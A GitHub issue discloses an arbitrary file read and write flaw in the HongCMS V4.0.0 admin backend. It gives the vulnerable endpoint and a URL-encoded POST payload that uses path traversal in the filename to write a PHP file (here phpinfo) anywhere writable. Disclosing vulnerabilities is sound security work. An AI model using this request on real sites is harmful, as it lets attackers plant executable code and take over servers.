Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

arbitrary file rewrite and read in Hongcms V4.0.0 #11

Open
0FuzzingQ opened this issue Feb 12, 2019 · 0 comments
Open

arbitrary file rewrite and read in Hongcms V4.0.0 #11

0FuzzingQ opened this issue Feb 12, 2019 · 0 comments

Comments

@0FuzzingQ
Copy link

there is an arbitrary file read and rewrite in the backend of this cms via the link:
/hcms/admin/index.php/language/ajax
when post params : filename=..%2f..%2ftest.php&action=savelang&filecontent=%3C%3Fphp%0D%0A%0D%0Aecho+phpinfo()%3B%0D%0A%3F%3E

in the latest V4.0.0 edtion,
the cms try to use ajax to escape attacker to do same dangerous action like change file name etc
but it can also be catched by proxy

it will write your payload into any file which is writeable
we create new file test.php to check this vuln:
1

we can access to it via link as http://domain/your file name

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant